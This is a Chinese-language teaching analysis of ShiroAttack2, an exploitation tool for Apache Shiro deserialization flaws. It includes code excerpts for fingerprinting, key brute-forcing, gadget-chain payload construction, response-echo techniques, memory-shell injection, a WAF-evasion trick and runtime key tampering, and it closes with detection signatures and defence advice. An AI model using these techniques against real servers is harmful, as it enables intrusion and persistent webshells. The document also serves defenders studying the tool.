ShiroAttack2工具原理分析
字数 1671 2025-08-29 08:30:36

ShiroAttack2工具原理深度分析与教学文档

1. 工具概述

ShiroAttack2是一款针对Apache Shiro框架漏洞利用的开源工具,主要用于:

  • Shiro框架检测
  • 密钥爆破与验证
  • 利用链测试与利用
  • 内存马注入
  • Shiro密钥修改

2. 核心功能原理分析

2.1 Shiro框架检测机制

检测流程

  1. 发送带有rememberMe=1的Cookie请求
  2. 检查响应是否包含=deleteMe
  3. 如果无响应,则发送随机10位数的rememberMe值再次检测

关键代码

public boolean checkIsShiro() {
    try {
        HashMap<String, String> header = new HashMap();
        header.put("Cookie", this.shiroKeyWord + "=1");
        String result = this.headerHttpRequest(header);
        flag = result.contains("=deleteMe");
        if (!flag) {
            HashMap<String, String> header1 = new HashMap();
            header1.put("Cookie", this.shiroKeyWord + "=" + AttackService.getRandomString(10));
            String result1 = this.headerHttpRequest(header1);
            flag = result1.contains("=deleteMe");
        }
    } catch (Exception var4) {
        // 异常处理
    }
    return flag;
}

WAF绕过技巧

  • 使用随机rememberMe值而非固定值1,避免被特征检测

2.2 密钥验证与爆破

2.2.1 指定密钥验证

直接使用用户提供的密钥进行验证:

this.attackService.simpleKeyCrack(spcShiroKey);

2.2.2 密钥爆破

遍历内置密钥字典进行爆破:

this.attackService.keysCrack();

2.3 利用链爆破机制

工作流程

  1. 组合利用链和回显方式(如"CC链:Tomcat回显")
  2. 对每种组合进行测试
  3. 通过特定特征判断利用是否成功

关键代码

List<String> targets = this.attackService.generateGadgetEcho(this.gadgetOpt.getItems(), this.echoOpt.getItems());
for(int i = 0; i < targets.size(); ++i) {
    String[] t = targets.get(i).split(":");
    String gadget = t[0];
    String echo = t[1];
    flag = this.attackService.gadgetCrack(gadget, echo, spcShiroKey);
    if (flag) break;
}

利用链测试特征

  • 请求头中包含Ctmd: 08fb41620aa4c498a1f2ef09bbc1183c
  • 响应中包含相同特征值表示利用成功

2.4 恶意对象生成流程

  1. 获取利用链Class对象

    Class<? extends ObjectPayload> gadgetClazz = Utils.getPayloadClass(gadgetOpt);
    ObjectPayload<?> gadgetPayload = gadgetClazz.newInstance();
    
  2. 创建TemplatesImpl对象

    Object template = Gadgets.createTemplatesImpl(echoOpt);
    
  3. 生成恶意对象

    Object chainObject = gadgetPayload.getObject(template);
    
  4. AES加密处理

    String rememberMe = shiro.sendpayload(chainObject, this.shiroKeyWord, spcShiroKey);
    

2.5 回显方式分析

2.5.1 Tomcat回显

实现方式

  1. ClientPoller线程获取NioEndPoint对象
  2. 获取RequestInfo对象
  3. 最终获取Response对象

关键代码路径

Thread.currentThread()
  → ThreadGroup
    → ClientPoller线程
      → target(Poller对象)
        → this$0(NioEndPoint)
          → handler
            → global(RequestInfo)
              → response

2.5.2 Spring回显

通过RequestContextHolder获取:

RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
HttpServletResponse response = ((ServletRequestAttributes)requestAttributes).getResponse();

2.5.3 通用回显(AllEcho)

实现原理

  1. 从当前线程开始深度遍历对象属性
  2. 查找HttpServletRequestHttpServletResponse对象
  3. 默认遍历深度50层

关键代码

private static void Find(Object start, int depth){
    if(depth > max_depth || (req!=null && resp!=null)) return;
    for (Field declaredField : start.getClass().getDeclaredFields()) {
        if(!Modifier.isStatic(declaredField.getModifiers())){
            Object obj = declaredField.get(start);
            if(obj != null && !obj.getClass().isArray()){
                proc(obj, depth);
            }
        }
    }
}

2.6 内存马注入机制

实现特点

  1. 将内存马代码与注入逻辑分离
  2. 通过POST参数dy传递实际内存马字节码
  3. 使用反射动态加载和执行

注入流程

  1. 生成包含InjectMemTool的rememberMe
  2. 通过请求头传递密码(p)和路径(path)
  3. 通过POST body传递base64编码的内存马字节码(dy)
  4. 服务端动态加载并执行内存马

关键代码

String b64Bytecode = MemBytes.getBytes(memShellType);
String postString = "dy=" + b64Bytecode;
String result = this.bodyHttpRequest(header, postString);

2.7 Shiro密钥修改功能

实现原理

  1. 遍历Tomcat的filterConfigs
  2. 找到ShiroFilterFactoryBean实例
  3. 获取RememberMeManager
  4. 反射修改加密/解密密钥

关键代码

// 获取rememberMeManager
field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
obj = field.get(obj);

// 修改加密密钥
Method setEncryptionCipherKey = obj.getClass().getSuperclass()
    .getDeclaredMethod("setEncryptionCipherKey", byte[].class);
setEncryptionCipherKey.invoke(obj, new Object[]{bytes});

// 修改解密密钥
Method setDecryptionCipherKey = obj.getClass().getSuperclass()
    .getDeclaredMethod("setDecryptionCipherKey", byte[].class);
setDecryptionCipherKey.invoke(obj, new Object[]{bytes});

3. 防御检测特征

  1. 框架检测阶段

    • 请求包含rememberMe=1或随机rememberMe值
    • 检查=deleteMe响应
  2. 利用链测试阶段

    • 请求头包含Ctmd: 08fb41620aa4c498a1f2ef09bbc1183c
    • 响应检查相同特征值
  3. 内存马注入阶段

    • 请求包含ppath参数
    • POST请求包含dy参数

4. 扩展开发指南

4.1 添加新利用链

  1. 实现ObjectPayload接口:

    public class NewGadget implements ObjectPayload<Object> {
        public Object getObject(Object template) throws Exception {
            // 构造恶意对象
            return Gadgets.createTemplatesImpl(template);
        }
    }
    
  2. 放置在com.summersec.attack.deser.payloads包下

4.2 添加新回显方式

  1. 实现EchoPayload接口:

    public class NewEcho implements EchoPayload<Object> {
        public CtClass genPayload(ClassPool pool) throws Exception {
            CtClass clazz = pool.makeClass("NewEcho");
            // 实现回显逻辑
            return clazz;
        }
    }
    
  2. 确保生成的类继承AbstractTranslet

5. 工具限制与注意事项

  1. 利用链限制

    • 主要支持CC链和Beanutils链
    • 需要封装为TemplatesImpl对象
  2. 内存马限制

    • 注入代码长度受HTTP头大小限制
    • 需要分离注入逻辑和实际内存马代码
  3. 密钥修改限制

    • 依赖ShiroFilterFactoryBean的默认命名
    • 在自定义命名场景下可能失效
  4. 防御建议

    • 监控rememberMe参数异常值
    • 拦截包含Ctmd头的请求
    • 限制POST参数dy的访问
ShiroAttack2工具原理深度分析与教学文档 1. 工具概述 ShiroAttack2是一款针对Apache Shiro框架漏洞利用的开源工具,主要用于: Shiro框架检测 密钥爆破与验证 利用链测试与利用 内存马注入 Shiro密钥修改 2. 核心功能原理分析 2.1 Shiro框架检测机制 检测流程 : 发送带有 rememberMe=1 的Cookie请求 检查响应是否包含 =deleteMe 如果无响应,则发送随机10位数的rememberMe值再次检测 关键代码 : WAF绕过技巧 : 使用随机rememberMe值而非固定值 1 ,避免被特征检测 2.2 密钥验证与爆破 2.2.1 指定密钥验证 直接使用用户提供的密钥进行验证: 2.2.2 密钥爆破 遍历内置密钥字典进行爆破: 2.3 利用链爆破机制 工作流程 : 组合利用链和回显方式(如"CC链:Tomcat回显") 对每种组合进行测试 通过特定特征判断利用是否成功 关键代码 : 利用链测试特征 : 请求头中包含 Ctmd: 08fb41620aa4c498a1f2ef09bbc1183c 响应中包含相同特征值表示利用成功 2.4 恶意对象生成流程 获取利用链Class对象 : 创建TemplatesImpl对象 : 生成恶意对象 : AES加密处理 : 2.5 回显方式分析 2.5.1 Tomcat回显 实现方式 : 从 ClientPoller 线程获取 NioEndPoint 对象 获取 RequestInfo 对象 最终获取Response对象 关键代码路径 : 2.5.2 Spring回显 通过 RequestContextHolder 获取: 2.5.3 通用回显(AllEcho) 实现原理 : 从当前线程开始深度遍历对象属性 查找 HttpServletRequest 和 HttpServletResponse 对象 默认遍历深度50层 关键代码 : 2.6 内存马注入机制 实现特点 : 将内存马代码与注入逻辑分离 通过POST参数 dy 传递实际内存马字节码 使用反射动态加载和执行 注入流程 : 生成包含 InjectMemTool 的rememberMe 通过请求头传递密码( p )和路径( path ) 通过POST body传递base64编码的内存马字节码( dy ) 服务端动态加载并执行内存马 关键代码 : 2.7 Shiro密钥修改功能 实现原理 : 遍历Tomcat的filterConfigs 找到 ShiroFilterFactoryBean 实例 获取 RememberMeManager 反射修改加密/解密密钥 关键代码 : 3. 防御检测特征 框架检测阶段 : 请求包含 rememberMe=1 或随机rememberMe值 检查 =deleteMe 响应 利用链测试阶段 : 请求头包含 Ctmd: 08fb41620aa4c498a1f2ef09bbc1183c 响应检查相同特征值 内存马注入阶段 : 请求包含 p 和 path 参数 POST请求包含 dy 参数 4. 扩展开发指南 4.1 添加新利用链 实现 ObjectPayload 接口: 放置在 com.summersec.attack.deser.payloads 包下 4.2 添加新回显方式 实现 EchoPayload 接口: 确保生成的类继承 AbstractTranslet 5. 工具限制与注意事项 利用链限制 : 主要支持CC链和Beanutils链 需要封装为 TemplatesImpl 对象 内存马限制 : 注入代码长度受HTTP头大小限制 需要分离注入逻辑和实际内存马代码 密钥修改限制 : 依赖 ShiroFilterFactoryBean 的默认命名 在自定义命名场景下可能失效 防御建议 : 监控 rememberMe 参数异常值 拦截包含 Ctmd 头的请求 限制POST参数 dy 的访问